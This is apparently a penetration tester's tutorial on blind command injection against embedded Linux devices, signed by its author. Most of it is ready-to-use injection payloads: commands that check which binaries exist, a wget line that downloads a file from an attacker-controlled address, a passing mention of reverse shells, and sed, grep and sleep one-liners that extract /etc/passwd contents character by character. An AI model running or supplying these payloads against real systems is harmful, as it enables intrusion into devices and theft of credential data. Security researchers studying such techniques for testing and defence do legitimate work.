Blind Command Injection on Embedded Systems (using,*test,grep, sed* and *others*)

When you find an **offsec 101** style blind-command injection on embedded systems, you may have difficulties because of their restricted environments.

```
;ping -c1 192.168.1.2;
```

Even though you may able to run some commands like *ping* or *reboot*... other commands may not work. Since the output was not showing, you cannot be sure if the commands do not exists or they fail for a reason.
So, in such scenarios I always check for my injection commands as in the example below:

```
# This command will ping you back if `ls` is found in "/bin" directory
;if test -e "/bin/ls";then ping -c1 192.168.1.2;fi;
# or better
;if test -e "/bin/ls";then ping -c1 192.168.1.2;else ping -c2 192.168.1.2;fi;
```

After I see that this approach works, I use more commands to understand my target environment better:

```
# To check if "/tmp" directory exsists?
;if test -d "/tmp";then ping -c2 192.168.1.2;fi;
# To check if "/var/passwd" file is exsists and has read permissions?
;if test -r "/var/passwd";then ping -c2 192.168.1.2;fi;
;if test -r "/etc/passwd";then ping -c2 192.168.1.2;fi;
# To check if logger exists? -- which is another tricky command used in BlindCI...
;if test -e "/usr/bin/logger";then ping -c1 192.168.1.2;fi;
# To check if wget is exists?
;if test -e "/bin/wget";then ping -c1 192.168.1.2;fi;
;if test -e "/sbin/wget";then ping -c1 192.168.1.2;fi;
;if test -e "/usr/bin/wget";then ping -c1 192.168.1.2;fi;
;if test -e "/usr/sbin/wget";then ping -c1 192.168.1.2;fi;
```

Note: **Embedded systems may differ depending to their build systems(Buildroot, LinuxFromScratch, Yocto...) and/or they can use slightly different versions of well-known commands. Thus, you may need to change some parameters while using those commands. Since we are talking about BLIND COMMAND INJECTION you have to be sure that your injection command/binary is installed on your target. That's why it is a good practice to check your commands in all possible "bin" directories.**

For example; three commands below does the exact same-thing, however if you try your injection(s) based on just one *version* you can "*assume*" that **wget** does not exists on your

target system.

```
# Different wget versions are widely using on Embedded Systems...
wget -g -r exe -l exe 192.168.1.2
wget http://192.168.1.2/exe
wget 192.168.1.2/exe
```

Lately; this approach gave me the idea of using Linux commands to read sensitive information (for example *root password*) from the system. Exactly like well-known "Blind SQL Injection" attacks.
In time-based Blind SQL Injection HTTP responses returns with a delay if the "query" is true.

```
# http://ferruh.mavituna.com/sql-injection-cheatsheet-oku/
IF EXISTS (SELECT * FROM users WHERE username = 'root')
BENCHMARK(1000000000,MD5(1))
```

So, this exact logic could be simulated with Linux commands.

In **nix, we have very powerful commands like* **grep** and **sed**. And they do perfect job in file manipulation, searching strings, filtering results and so on.... This means that we can ***reveal*** some critical information by crafting simple **shell**commands.

Let's try!

```
$ if test `sed -n '/^root/{s/^\(.\{1\}\).*/\1/g;p}' /etc/passwd`;then echo 1;else echo 2;fi
1
```

This command prints **1** because "*/etc/passwd*" contains a line which starts(^) with **root**.
Actually, real approach should be something like:

```
$ if test `sed -n '/^r/{s/^\(.\{1\}\).*/\1/g;p}' /etc/passwd`;then echo 1;else echo 2;fi
1
$ if test `sed -n '/^ro/{s/^\(.\{1\}\).*/\1/g;p}' /etc/passwd`;then echo 1;else echo 2;fi
1
$ if test `sed -n '/^roo/{s/^\(.\{1\}\).*/\1/g;p}' /etc/passwd`;then echo 1;else echo 2;fi
1
$ if test `sed -n '/^root/{s/^\(.\{1\}\).*/\1/g;p}' /etc/passwd`;then echo 1;else echo 2;fi
1
...
```

As you can imagine, we can **reveal** the whole content of the target file just by replacing the following character. With this technique you can look at the beginning of the line, at

the end of the line or a specific line or maybe for a pattern...
Once you got the idea, you can play with the command, change it as you like and you can use **grep**(or any other command) instead of sed.
It is also very easy to automate this operation. Instead of echoing the result you can use **sleep** command to reveal next character and just like in time-based blind-sql injection, **response time** can be used as decision indicator.

Tips and Tricks

Off course this approach may not be useful in some cases:

• You may not need it. Most of the time **wget** works great and you can have your reverse shell.
• Character limitation problems, sometimes you cannot enter more than 40(or whatever) characters. In this case you may try to change your injection command or you can try to use another *blind command injection* technique (for ex. redirecting syslog output and using **logger** command).
• Character filters; Ampersand(&), pipe(|), sharp(#), grave accent(`), apostrophe(')... might be filtered and this approach cannot work at all or can work for some commands only.
• test, sed, grep and variants may not be available.
Since this approach relies on regular expressions, while crafting your commands you have to remember that wild-card characters can give you false results. So, it is important to use it properly:

```
# All these commands will ping back
# dot(.) will match with a single character
# asterisk(*) will match any number of characters
;if test `sed -n '/^root/{s/^\(.\{1\}\).*/\1/g;p}' /var/passwd`;then ping -c 1
192.168.1.2;fi;
;if test `sed -n '/^roo./{s/^\(.\{1\}\).*/\1/g;p}' /var/passwd`;then ping -c 1
192.168.1.2;fi;
;if test `sed -n '/^roo*/{s/^\(.\{1\}\).*/\1/g;p}' /var/passwd`;then ping -c 1
192.168.1.2;fi;
```

So, if you are going to automatize this attack, you should put the period(.) as your last input.

In Conclusion:

This is not a new technique but it's an adaptation of existing technique in a different environment. And it's not specifically designed for embedded devices. It will work with any *nix platform. However; since the other platforms will probably have more commands, this approach won't be needed.

I'm sure that better and shorter commands can be written, so feel free to contribute to project or inform me.

Here are some examples:

```
# This command will look for any line starts with root user...
if test `sed -n '/^roo:/{s/^\(.\{1\}\).*/\1/g;p}' /var/passwd`;then sleep 15;fi

# This command will look for any line starts with ftp user...
if test `sed -n '/^ftp:/{s/^\(.\{1\}\).*/\1/g;p}' /var/passwd`;then sleep 15;fi

# This command will look at the 2nd line and will sleep if the line starts with 0...
if test `sed -n 2p /etc/passwd|sed -n '/^0/{s/^\(.\{1\}\).*/\1/g;p}'`;then sleep 15;fi

# This command will ping you back if "root" was found (anywhere) in the 1st line
if test `sed -n 1p /etc/passwd|sed -n '/root/{s/^\(.\{1\}\).*/\1/g;p}'`;then ping -c1
192.168.1.2;fi

# This command will ping if the line's length which contains "root"
# in "/etc/password" is equal to 10
s=`cat /etc/passwd|grep root`;if test ${#s} -eq 10;then ping -c1 192.168.1.2;fi

# ping back if `pwd` is "/tmp"
if test `pwd` == "/tmp";then ping -c1 192.168.1.2;fi

# you can "reveal" exact Linux version, useful while for compiling your shell code
if test `sed -n '/^Linux version 2.6.30/{s/^\(.\{1\}\).*/\1/g;p}' /proc/version`;then echo
1;fi

# grep example -- self explanatory, echo 1 if first character is "r"...
if test `grep root /etc/passwd|grep -o .|sed -n 1p` = "r";then echo 1; else echo 2;fi
if test `grep root /etc/passwd|grep -o ..|sed -n 1p` = "ro";then echo 1; else echo 2;fi
```

```
if test `grep root /etc/passwd|grep -o ...|sed -n 1p` = "roo";then echo 1; else echo 2;fi
...
```

Cenk Kalpakoğlu